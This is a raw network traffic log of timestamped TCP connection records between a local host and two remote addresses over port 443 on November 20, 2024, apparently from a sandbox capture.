Nov 20, 2024 08:12:22.472201109 CET	49737	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:22.472214937 CET	443	49737	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:22.472229958 CET	49737	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:22.472235918 CET	443	49737	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:22.532172918 CET	49743	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:22.532234907 CET	443	49743	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:22.532315016 CET	49743	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:22.532691956 CET	49743	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:22.532708883 CET	443	49743	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:22.618465900 CET	443	49742	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.618969917 CET	49742	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.618992090 CET	443	49742	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.619544983 CET	49742	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.619554996 CET	443	49742	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.659434080 CET	443	49738	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.659892082 CET	49738	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.659914970 CET	443	49738	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.660531998 CET	49738	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.660536051 CET	443	49738	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.682991982 CET	443	49740	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.683531046 CET	49740	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.683545113 CET	443	49740	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.684036970 CET	49740	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.684053898 CET	443	49740	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.684262991 CET	443	49741	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.684585094 CET	49741	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.684602976 CET	443	49741	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.685056925 CET	49741	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.685065031 CET	443	49741	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.706898928 CET	443	49739	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.707366943 CET	49739	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.707384109 CET	443	49739	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.707849026 CET	49739	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.707855940 CET	443	49739	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.720452070 CET	443	49742	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.720520020 CET	443	49742	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.720638037 CET	49742	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.720757961 CET	49742	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.720781088 CET	443	49742	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.720793962 CET	49742	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.720801115 CET	443	49742	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.723638058 CET	49744	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.723675013 CET	443	49744	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.723750114 CET	49744	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.723897934 CET	49744	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.723916054 CET	443	49744	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.767999887 CET	443	49738	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.768094063 CET	443	49738	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.768148899 CET	49738	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.768336058 CET	49738	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.768361092 CET	443	49738	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.768376112 CET	49738	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.768381119 CET	443	49738	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.771744013 CET	49745	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.771770000 CET	443	49745	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.771869898 CET	49745	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.771990061 CET	49745	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.772001982 CET	443	49745	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.784504890 CET	443	49740	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.784580946 CET	443	49740	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.784713984 CET	49740	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.784780025 CET	49740	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.784802914 CET	443	49740	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.784816027 CET	49740	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.784822941 CET	443	49740	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.785450935 CET	443	49741	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.785521984 CET	443	49741	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.785571098 CET	49741	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.785664082 CET	49741	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.785679102 CET	443	49741	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.785722971 CET	49741	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.785728931 CET	443	49741	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.787798882 CET	49746	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.787832022 CET	443	49746	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.787895918 CET	49746	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.788028955 CET	49746	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.788041115 CET	443	49746	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.788614035 CET	49747	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.788635015 CET	443	49747	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.788719893 CET	49747	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.788813114 CET	49747	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.788825035 CET	443	49747	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.813210964 CET	443	49739	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.813283920 CET	443	49739	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.813345909 CET	49739	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.813560963 CET	49739	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.813584089 CET	443	49739	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.813596964 CET	49739	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.813602924 CET	443	49739	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.816437006 CET	49748	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.816478014 CET	443	49748	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.816560030 CET	49748	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.816683054 CET	49748	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:22.816706896 CET	443	49748	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:22.988018990 CET	443	49743	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:22.988404036 CET	49743	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:22.989727974 CET	49743	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:22.989744902 CET	443	49743	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:22.990045071 CET	443	49743	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:22.991472006 CET	49743	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:22.991507053 CET	49743	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:22.991542101 CET	443	49743	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:23.358644962 CET	443	49744	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.359404087 CET	49744	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.359416962 CET	443	49744	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.359911919 CET	49744	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.359916925 CET	443	49744	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.408757925 CET	443	49745	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.409375906 CET	49745	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.409388065 CET	443	49745	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.409912109 CET	49745	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.409919024 CET	443	49745	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.423930883 CET	443	49746	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.424372911 CET	49746	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.424388885 CET	443	49746	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.424879074 CET	49746	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.424882889 CET	443	49746	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.434607983 CET	443	49747	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.435173035 CET	443	49743	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:23.435242891 CET	443	49743	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:23.435301065 CET	49743	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:23.435306072 CET	49747	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.435323000 CET	443	49747	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.435336113 CET	443	49743	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:23.435353041 CET	443	49743	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:23.435396910 CET	49743	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:23.435417891 CET	443	49743	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:23.435570002 CET	443	49743	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:23.435615063 CET	49743	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:23.435623884 CET	443	49743	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:23.435990095 CET	49747	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.435995102 CET	443	49747	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.436033964 CET	443	49743	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:23.436059952 CET	443	49743	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:23.436089039 CET	49743	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:23.436099052 CET	443	49743	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:23.436148882 CET	49743	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:23.439898968 CET	443	49743	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:23.450906992 CET	443	49748	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.451507092 CET	49748	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.451530933 CET	443	49748	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.452378988 CET	49748	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.452390909 CET	443	49748	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.459460020 CET	443	49744	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.459552050 CET	443	49744	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.459760904 CET	49744	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.459880114 CET	49744	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.459901094 CET	443	49744	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.459911108 CET	49744	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.459917068 CET	443	49744	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.475214005 CET	49749	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.475256920 CET	443	49749	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.475330114 CET	49749	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.475863934 CET	49749	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.475883007 CET	443	49749	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.492413044 CET	49743	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:23.492454052 CET	443	49743	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:23.511562109 CET	443	49745	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.511636019 CET	443	49745	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.511722088 CET	49745	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.511920929 CET	49745	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.511939049 CET	443	49745	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.511984110 CET	49745	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.511990070 CET	443	49745	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.515268087 CET	49750	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.515297890 CET	443	49750	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.515350103 CET	49750	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.515568018 CET	49750	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.515580893 CET	443	49750	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.522043943 CET	443	49743	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:23.522097111 CET	49743	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:23.522119999 CET	443	49743	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:23.522161961 CET	49743	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:23.523473978 CET	49743	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:23.523499012 CET	443	49743	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:23.524225950 CET	443	49746	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.524285078 CET	443	49746	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.524331093 CET	49746	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.525094986 CET	49746	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.525105953 CET	443	49746	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.525114059 CET	49746	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.525119066 CET	443	49746	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.535856962 CET	443	49747	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.535903931 CET	443	49747	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.536009073 CET	49747	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.536252022 CET	49751	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.536297083 CET	443	49751	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.536489964 CET	49751	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.536803007 CET	49751	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.536818027 CET	443	49751	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.536910057 CET	49747	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.536910057 CET	49747	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.536921978 CET	443	49747	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.536930084 CET	443	49747	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.549371004 CET	49752	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.549401999 CET	443	49752	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.549571991 CET	49752	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.549900055 CET	49752	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.549911022 CET	443	49752	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.557631016 CET	443	49748	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.557689905 CET	443	49748	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.557754040 CET	49748	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.558442116 CET	49748	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.558459044 CET	443	49748	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.558482885 CET	49748	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.558489084 CET	443	49748	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.562561989 CET	49753	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.562617064 CET	443	49753	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.562665939 CET	49753	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.563385963 CET	49753	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:23.563401937 CET	443	49753	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:23.715230942 CET	49754	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:23.715285063 CET	443	49754	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:23.715621948 CET	49754	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:23.715801954 CET	49754	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:23.715812922 CET	443	49754	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:24.155949116 CET	443	49749	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.161046982 CET	49749	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.161071062 CET	443	49749	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.181384087 CET	443	49754	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:24.181528091 CET	49754	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:24.181992054 CET	443	49751	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.195355892 CET	443	49750	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.197033882 CET	443	49752	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.209162951 CET	443	49753	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.226784945 CET	49751	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.242438078 CET	49750	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.253154039 CET	49752	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.258060932 CET	49753	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.287334919 CET	49749	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.287355900 CET	443	49749	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.302407980 CET	49753	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.302439928 CET	443	49753	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.325978041 CET	49753	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.326023102 CET	443	49753	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.370188951 CET	49754	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:24.370213032 CET	443	49754	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:24.370568037 CET	443	49754	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:24.371783018 CET	49754	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:24.371979952 CET	49754	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:24.372010946 CET	443	49754	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:24.372448921 CET	49751	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.372458935 CET	443	49751	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.373117924 CET	49751	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.373127937 CET	443	49751	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.374437094 CET	49750	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.374453068 CET	443	49750	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.378211021 CET	49750	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.378223896 CET	443	49750	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.387422085 CET	443	49749	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.387501001 CET	443	49749	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.387574911 CET	49749	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.400350094 CET	49749	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.400382996 CET	443	49749	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.400461912 CET	49749	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.400474072 CET	443	49749	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.401292086 CET	49752	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.401320934 CET	443	49752	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.422364950 CET	443	49753	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.422441959 CET	443	49753	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.422555923 CET	49753	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.425638914 CET	49752	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.425676107 CET	443	49752	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.427053928 CET	49753	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.427088022 CET	443	49753	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.427107096 CET	49753	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.427119970 CET	443	49753	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.435287952 CET	49755	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.435359001 CET	443	49755	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.435414076 CET	49755	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.449163914 CET	49755	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.449199915 CET	443	49755	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.450700045 CET	49756	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.450762987 CET	443	49756	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.450829029 CET	49756	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.451065063 CET	49756	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.451088905 CET	443	49756	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.468655109 CET	443	49751	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.468828917 CET	443	49751	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.468949080 CET	49751	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.469279051 CET	49751	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.469305992 CET	443	49751	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.469327927 CET	49751	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.469335079 CET	443	49751	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.473340988 CET	49757	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.473390102 CET	443	49757	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.473453045 CET	49757	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.473573923 CET	49757	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.473592043 CET	443	49757	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.480155945 CET	443	49750	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.480329990 CET	443	49750	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.480386019 CET	49750	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.480509996 CET	49750	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.480526924 CET	443	49750	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.480536938 CET	49750	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.480542898 CET	443	49750	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.483215094 CET	49758	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.483279943 CET	443	49758	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.483345985 CET	49758	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.483686924 CET	49758	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.483711958 CET	443	49758	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.522488117 CET	443	49752	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.522675037 CET	443	49752	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.522725105 CET	49752	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.522808075 CET	49752	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.522830009 CET	443	49752	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.522845030 CET	49752	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.522850990 CET	443	49752	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.525161982 CET	49759	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.525208950 CET	443	49759	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.525285006 CET	49759	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.525430918 CET	49759	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:24.525444984 CET	443	49759	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:24.929655075 CET	443	49754	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:24.929764986 CET	443	49754	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:24.929867029 CET	49754	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:24.930165052 CET	49754	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:24.930191994 CET	443	49754	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:25.030657053 CET	49760	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:25.030705929 CET	443	49760	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:25.030792952 CET	49760	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:25.031184912 CET	49760	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:25.031200886 CET	443	49760	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:25.088238001 CET	443	49756	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.088800907 CET	49756	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.088845015 CET	443	49756	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.089241028 CET	49756	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.089255095 CET	443	49756	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.125256062 CET	443	49755	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.125781059 CET	49755	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.125811100 CET	443	49755	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.126152992 CET	49755	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.126158953 CET	443	49755	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.133291960 CET	443	49758	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.133816004 CET	49758	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.133858919 CET	443	49758	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.134238005 CET	49758	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.134252071 CET	443	49758	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.148812056 CET	443	49757	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.149475098 CET	49757	443	192.168.2.6	13.107.246.42
